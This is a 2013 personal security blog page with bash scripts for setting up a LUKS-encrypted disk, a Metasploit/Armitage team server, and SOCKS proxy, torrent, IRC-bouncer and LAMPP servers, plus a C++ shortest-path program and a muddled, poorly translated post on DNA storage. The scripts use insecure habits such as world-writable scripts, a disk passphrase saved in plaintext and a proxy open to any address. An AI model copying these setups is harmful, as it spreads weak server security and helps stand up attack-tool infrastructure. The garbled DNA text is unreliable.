Just a Test with Windows Live Writer

Posted by at Friday, January 25, 2013
20040510-vim_syntax_light_bg

   1:  #include <iostream>
   2:  #define N 4
   3:  using namespace std;
   4:   
   5:  int min(int a,int b){
   6:      if(a < b) return a;
   7:      return b;
   8:  }
   9:  int main(){
  10:      int D[N][N] ={
  11:      {0,999,3,999},
  12:      {2,0,999,999},
  13:      {999,7,0,1},
  14:      {6,999,999,0}
  15:      };
  16:      for(int k = 0; k<N; k++)
  17:          for(int i = 0; i<N; i++)
  18:                for(int j = 0; j<N; j++)
  19:                      D[i][j] = min(D[i][j], D[i][k]+D[k][j]);
  20:                      
  21:      cout<<"\nMatrica udaljenosti:\n";
  22:      for(int i=0;i<N;i++){
  23:          for(int j=0;j<N;j++) 
  24:              cout<<D[i][j]<<" ";
  25:              cout<<"\n";
  26:      }
  27:      int n; cin >> n;
  28:      return 0;
  29:  }

Digital data in DNA!

Posted by at Friday, January 25, 2013

Digital data in DNA!


Researchers have found a way to store digital files such as music, images, text, or the like in the DNA, and then almost completely incorrect reading it out again. But how is that possible?

In one experiment, an audio file of Martin Luther King Jr., digital photos and works of Shakespeare in a DNA were stored. Previously had a software ones and zeroes of the files in the DNA bases adenine (A) to convert guanine (G), cytosine (C) and thymine (T). After recording the data they tried to read these files back and with an accuracy of 99.99 percent of them succeeded in the miracle then.

This is an extremely important development for the future of data storage. In a cup of DNA could 100 million hours video material is stored at the highest resolution.

But there are still many years pass before it could come to a practical use, because the saving still makes very little cost. The researchers expect that it will take more than 10 years.


Now you can Upload all your files to your wife ;) I hope it will be plug&play.

Linux Unified Key Setup

Posted by at Friday, January 25, 2013

Linux Unified Key Setup

"LUKS" redirects here. For the American painter, see George Luks. In computing, the Linux Unified Key Setup or LUKS is a disk-encryption specification created by Clemens Fruhwirth and originally intended for Linux.
While most disk encryption software implements different and incompatible, undocumented formats, LUKS specifies a platform-independent standard on-disk format for use in various tools. This not only facilitates compatibility and interoperability amongst different programs, but also assures that they all implement password management in a secure and documented manner.[1]
The reference implementation for LUKS operates on Linux and is based on an enhanced version of cryptsetup, using dm-crypt as the disk encryption backend. Under Microsoft Windows, LUKS-encrypted disks can be used with FreeOTFE.
The design of LUKS aimed to conform to the TKS1 secure key setup scheme.

  1. Upload Script to your root Server
  2. chmod 0777 scriptname.sh
  3. ./scriptname.sh
  4. Setup the Wizard
  5. Have pfun
#!/bin/bash
# by cr4shyyy auto dmcrypt-server

# Dmcrypt Repository
aptitude install -y pciutils psmisc cryptsetup pwgen xfsprogs xfsdump

#pwgen
cat /dev/null > /root/myhddpass-remove-me.remove
pwgen 200 1 >> /root/myhddpass-remove-me.remove

#crypt setup
echo "Please Enter your HDD name such as /dev/sda3" 
read BLA

echo "Please Enter the Mountname such as sda1_crypt" 
read BLA1

#Get random password from pwgen
echo "========"
echo "WARNING!"
echo "========"
echo "Your 200 digit Password for your lukscrypt"
cat /root/myhddpass-remove-me.remove

#Start cyrpt Setup mount @ /home
modprobe dm_mod
cryptsetup luksFormat $BLA
cryptsetup luksOpen $BLA $BLA1
mkfs.xfs -l size=128m -d agcount=4 -i attr=2,maxpct=5 -L storage /dev/mapper/$BLA1
mount /dev/mapper/$BLA1 /home

#Start Script by cr4shyyy
cat /dev/null > /root/startServer.bash
echo "#!/bin/bash" >> /root/startServer.bash
echo "echo dm-crypt Passworteingabe" >> /root/startServer.bash
echo "cryptsetup luksOpen $BLA $BLA1 && mount -onoatime,delaylog,logbufs=8,logbsize=256k /dev/mapper/$BLA1 /home/" >> /root/startServer.bash
chmod 700 /root/startServer.bash
df -h

#Rmove luks Password
echo "========"
echo "WARNING!"
echo "========"
echo "Please Remove your luks Password file from your hdd /root/myhddpass-remove-me.remove"

XPEnology Nas on Github

Posted by at Friday, January 25, 2013

XPEnology Nas on Github

XPEnology is a FreeNas system Reversed from Synology Nas.
Its was Reverse Engineering by Andy big thanks to him

If you want to help him visit.
http://xpenology.com/forum/

Or Join the GitHubTeam or get the source code.
https://github.com/andy928/xpenology

You can run it on a VirtualBox or a Pc if hardware supported.

Install MetaSploit+Armitage TeamServer on Debian

Posted by at Friday, January 25, 2013

MetaSploit and Armitage TeamServer on Debian

The Metasploit Project is a computer security project which provides information about security vulnerabilities and aids in penetration testing and IDS signature development.
Its most well-known sub-project is the open-source Metasploit Framework, a tool for developing and executing exploit code against a remote target machine. Other important sub-projects include the Opcode Database, shellcode archive, and security research.
The Metasploit Project is also well known for anti-forensic and evasion tools, some of which are built into the Metasploit Framework.

  1. Upload Script to root Server
  2. chmod 0777 scriptname.sh
  3. ./scriptname.sh
  4. Edit ip and Password for TeamServer
  5.  Setup Metasploit Wizard
  6. /root/startArmitage.bash start the Script
  7. Start Armitage and Connect to your New TeamServer
  8. Have pfun



#!/bin/bash
# by cr4shyyy Auto MetaSploit-Server + Armitage Team-Server 
 
aptitude install sun-java6-jdk screen 
 
cd /tmp
wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run
chmod 0777 metasploit-latest-linux-x64-installer.run
./metasploit-latest-linux-x64-installer.run

 
#script
echo "#!/bin/bash" >> /root/startArmitage.bash
echo "cd /opt/metasploit/apps/pro/msf3/data/armitage" >> /root/startArmitage.bash
echo "screen -dmS Armitage-Teamserver ./teamserver 0.0.0.0 MYPASSWORDHERE" >> /root/startArmitage.bash
chmod 700 /root/startArmitage.bash
/root/startArmitage.bash

Deluge Torrent WebServer Debian

Posted by at Friday, January 25, 2013

Deluge BitTorrent Client + Webinterface


Deluge is a free software cross-platform BitTorrent client written with Python and GTK+. The program uses the libtorrent-rasterbar C++ library as its backend for torrent networking functionality through the project's own Python bindings.

  1. Upload Script to your root Server
  2. chmod 0777 scriptname.sh
  3. ./scriptname.sh
  4.  Connect to http://IP_ADDRESS_OF_SERVER:8112/

#!/bin/bash
# by cr4shyyy Auto Deluge-BitTorrentServer

apt-get update && apt-get -y install g++ make gettext screen subversion python-all-dev python-all python-twisted python-twisted-web python-pyopenssl python-simplejson python-setuptools python-xdg python-chardet python-mako libssl-dev zlib1g-dev libboost-dev libasio-dev libboost-python-dev libboost-thread-dev libboost-date-time-dev libboost-filesystem-dev 
cd /tmp
wget http://download.deluge-torrent.org/source/deluge-1.3.5.tar.gz
tar xvzf deluge-*.tar.gz 
cd deluge-*
python setup.py build
python setup.py install
ldconfig 

#start deluge
deluged
screen -fa -d -m -S deluge-web deluge-web 

echo "http://IP_ADDRESS_OF_SERVER:8112/"

ZNC IRC Network bouncer Debian

Posted by at Friday, January 25, 2013
ZNC is an IRC network bouncer
ZNC is an IRC network bouncer or BNC. It can detach the client from the actual IRC server, and also from selected channels. Multiple clients from different locations can connect to a single ZNC account simultaneously and therefore appear under the same nickname on IRC. It supports SSL secured connections and IPv6.
ZNC is written in C++ and licensed under the GNU General Public License.

  1. Upload Script to your root Server
  2. chmod 0777 scriptname.sh
  3. ./scriptname.sh
  4. Conf it
  5. Have pfun

#!/bin/bash

# by cr4shyyy Auto ZNC IRC Network bouncer

aptitude install znc
echo Add znc as User
read -p "Press any key to start ..."

sudo useradd -m -G users -s /bin/bash znc
passwd znc

read -p "Press any key to start Znc Makeconf ..."
sudo -u znc -H sh -c "znc --makeconf" 

Thursday, January 24, 2013

Dante Socks5 Server Debian

Posted by at Thursday, January 24, 2013


Dante - A free SOCKS server

Dante is a product developed by Inferno Nettverk A/S. It consists of a SOCKS server and a SOCKS client, implementing RFC 1928 and related standards. It is a flexible product that can be used to provide convenient and secure network connectivity.
Once installed, Dante can in most cases be made transparent to clients, providing functionality somewhat similar to what could be described as a non-transparent Layer 4 router. For customers interested in controlling and monitoring access in or out of their network, the Dante SOCKS server can provide several benefits, including security and TCP/IP termination (no direct contact between hosts inside and outside of the customer network), resource control (bandwidth, sessions), and logging (host information, data transfered).

  1. Upload Script to your Debian root
  2. chmod 0777 scriptname.sh
  3. ./scriptnasme.sh
  4. Enter Socks5 User Password
  5. Connect to your new Socks Server on Port 7334 with your User Password

#!/bin/bash

# by cr4shyyy Auto Simple- Dante-Socks-Server



apt-get install dante-server

cat /dev/null > /etc/danted.conf

echo logoutput: stderr /dev/null >> /etc/danted.conf

echo internal: eth0 port = 7334 >> /etc/danted.conf

echo external: eth0 >> /etc/danted.conf

echo method: username >> /etc/danted.conf

echo user.privileged: root >> /etc/danted.conf

echo client pass { >> /etc/danted.conf

echo from: 0.0.0.0/0 to: 0.0.0.0/0 >> /etc/danted.conf

echo } >> /etc/danted.conf

echo pass { >> /etc/danted.conf

echo from: 0.0.0.0/0 to: 0.0.0.0/0 >> /etc/danted.conf

echo protocol: tcp udp >> /etc/danted.conf

echo } >> /etc/danted.conf 



dpkg --configure --pending

/etc/init.d/danted start

useradd Socks5

mkdir  /home/Socks5

chown Socks5:users /home/Socks5

passwd Socks5

Lampp Server Debian

Posted by at Thursday, January 24, 2013
LAMPP requires only one zip, tar, 7z, or exe file to be downloaded and run, and little or no configuration of the various components that make up the web server is required. XAMPP is regularly updated to incorporate the latest releases of Apache/MySQL/PHP and Perl. It also comes with a number of other modules including OpenSSL and phpMyAdmin.

  1. Upload Script to your root Server
  2. chmod 0777 scriptname.sh
  3. ./scriptname.sh
  4. /opt/lampp/lampp >> for more Infos 
  5. /opt/lampp/lampp security >> Frist change your Passwords 
  6. nano /opt/lampp/etc/extra/httpd-xampp.conf >> Conf Lampp 
  7. /opt/lampp/lampp restart >> Restart Lampp after Conf
#!/bin/bash
# by cr4shyyy Auto lampp-server

#Install x32 libs if you running a x64 os 
sudo apt-get install ia32-libs


#Lampp Repository
cd /tmp
wget http://www.apachefriends.org/download.php?xampp-linux-1.8.1.tar.gz
tar xvfz *xampp-linux-1.8.1.tar.gz* -C /opt
/opt/lampp/lampp start
/opt/lampp/lampp stop
/opt/lampp/lampp security
/opt/lampp/etc/extra/httpd-xampp.conf 

[#] iNFO [#]

All the information provided on this site is for educational purposes only.
 
The site and it's author is in no way responsible for any misuse of the information.
©2012 Security is just an Illusion is powered by Blogger - Template designed by Stramaxon - Best SEO Template